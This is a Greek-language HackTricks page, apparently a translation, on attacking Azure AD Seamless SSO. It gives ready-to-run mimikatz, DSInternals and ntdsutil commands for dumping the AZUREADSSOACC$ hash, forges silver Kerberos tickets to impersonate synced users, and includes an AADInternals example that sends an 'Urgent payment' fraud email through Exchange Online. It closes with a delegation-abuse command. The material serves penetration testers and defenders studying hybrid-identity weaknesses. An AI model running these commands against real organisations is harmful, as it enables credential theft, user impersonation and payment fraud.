Az - Seamless SSO

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Από τα έγγραφα: Η Απρόσκοπτη Ενιαία Σύνδεση (Azure AD Seamless SSO) του Azure Active Directory αυτοματοποιεί την είσοδο των χρηστών όταν βρίσκονται στις εταιρικές συσκευές τους που είναι συνδεδεμένες στο εταιρικό δίκτυο σας. Όταν είναι ενεργοποιημένη, οι χρήστες δεν χρειάζεται να πληκτρολογήσουν τους κωδικούς πρόσβασής τους για να συνδεθούν στο Azure AD, και συνήθως, ακόμα και τα ονόματα χρηστών τους. Αυτή η λειτουργία παρέχει στους χρήστες εύκολη πρόσβαση στις εφαρμογές που βρίσκονται στον νέφος χωρίς να χρειάζονται επιπλέον συστατικά στον τοπικό χώρο.

Βασικά, η Απρόσκοπτη Ενιαία Σύνδεση του Azure AD συνδέει τους χρήστες όταν βρίσκονται σε έναν τοπικό υπολογιστή που έχει ενταχθεί στον τοπικό τομέα.

Υποστηρίζεται από το PHS (Password Hash Sync) και το PTA (Pass-through Authentication).

Η Απρόσκοπτη Ενιαία Σύνδεση του επιτραπέζιου υπολογιστή χρησιμοποιεί το Kerberos για την πιστοποίηση. Όταν ρυθμίζεται, η Azure AD Connect δημιουργεί έναν λογαριασμό υπολογιστή με το όνομα AZUREADSSOACC$ στον τοπικό τομέα. Ο κωδικός πρόσβασης του λογαριασμού AZUREADSSOACC$ αποστέλλεται ως απλό κείμενο στο Azure AD κατά τη διάρκεια της ρύθμισης.

Τα εισιτήρια Kerberos κρυπτογραφούνται χρησιμοποιώντας το NTHash (MD4) του κωδικού πρόσβασης και η Azure AD χρησιμοποιεί τον απεσταλμένο κωδικό για να αποκρυπτογραφήσει τα εισιτήρια.

Η Azure AD αποκαλύπτει ένα σημείο πρόσβασης (https://autologon.microsoftazuread-sso.com) που δέχεται εισιτήρια Kerberos. Ο περιηγητής του υπολογιστή που έχει ενταχθεί στον τομέα προωθεί τα εισιτήρια σε αυτό το σημείο πρόσβασης για την Απρόσκοπτη Ενιαία Σύνδεση.

Από τον τοπικό χώρο -> νέφος

Ο κωδικός πρόσβασης του χρήστη AZUREADSSOACC$ δεν αλλάζει ποτέ. Επομένως, ένας διαχειριστής του τομέα μπορεί να αποκτήσει το hash αυτού του λογαριασμού και στη συνέχεια να το χρησιμοποιήσει για να δημιουργήσει ασημένια εισιτήρια για να συνδεθεί στο Azure με οποιονδήποτε συγχρονισμένο χρήστη από τον τοπικό χώρο.

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Με το hash μπορείτε τώρα να δημιουργήσετε ασημένια εισιτήρια:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Για να χρησιμοποιήσετε το silver ticket, πρέπει να ακολουθήσετε τα παρακάτω βήματα:

  1. Εκκίνηση του προγράμματος περιήγησης: Πρέπει να εκκινήσετε το Mozilla Firefox.

  2. Ρύθμιση του προγράμματος περιήγησης:

  • Πλοηγηθείτε στη διεύθυνση about:config.

  • Ορίστε την προτίμηση για το network.negotiate-auth.trusted-uris στις καθορισμένες τιμές:

  • https://aadg.windows.net.nsatc.net

  • https://autologon.microsoftazuread-sso.com

  1. Πρόσβαση στην Ιστοσελίδα:

  • Επισκεφθείτε μια ιστοσελίδα που είναι ενσωματωμένη με τον τομέα AAD του οργανισμού. Ένα κοινό παράδειγμα είναι το Office 365.

  1. Διαδικασία Πιστοποίησης:

  • Στην οθόνη σύνδεσης, πρέπει να εισαγάγετε το όνομα χρήστη, αφήνοντας κενό το πεδίο κωδικού πρόσβασης.

  • Για να προχωρήσετε, πατήστε TAB ή ENTER.

Αυτό δεν παρακάμπτει την ενεργοποιημένη πολυπαραγοντική πιστοποίηση (MFA)

Δημιουργία εισιτηρίων Kerberos για χρήστες μόνο στο cloud

Εάν οι διαχειριστές του Active Directory έχουν πρόσβαση στο Azure AD Connect, μπορούν να ορίσουν το SID για οποιονδήποτε χρήστη στο cloud. Με αυτόν τον τρόπο, μπορούν να δημιουργηθούν εισιτήρια Kerberos και για χρήστες μόνο στο cloud. Η μόνη απαίτηση είναι ότι το SID είναι ένα έγκυρο SID.

Η αλλαγή του SID των διαχειριστών μόνο στο cloud είναι πλέον αποκλεισμένη από τη Microsoft. Για περισσότερες πληροφορίες, ελέγξτε το https://aadinternals.com/post/on-prem_admin/

On-prem -> Cloud μέσω Resource Based Constrained Delegation

Οποιοσδήποτε μπορεί να διαχειριστεί τους λογαριασμούς υπολογιστών (AZUREADSSOACC$) στον κατάλογο ή τη μονάδα οργάνωσης στην οποία βρίσκεται αυτός ο λογαριασμός, μπορεί να διαμορφώσει μια περιορισμένη ανάθεση βάσεων πόρων πάνω στον λογαριασμό και να έχει πρόσβαση σε αυτόν.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Αναφορές

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated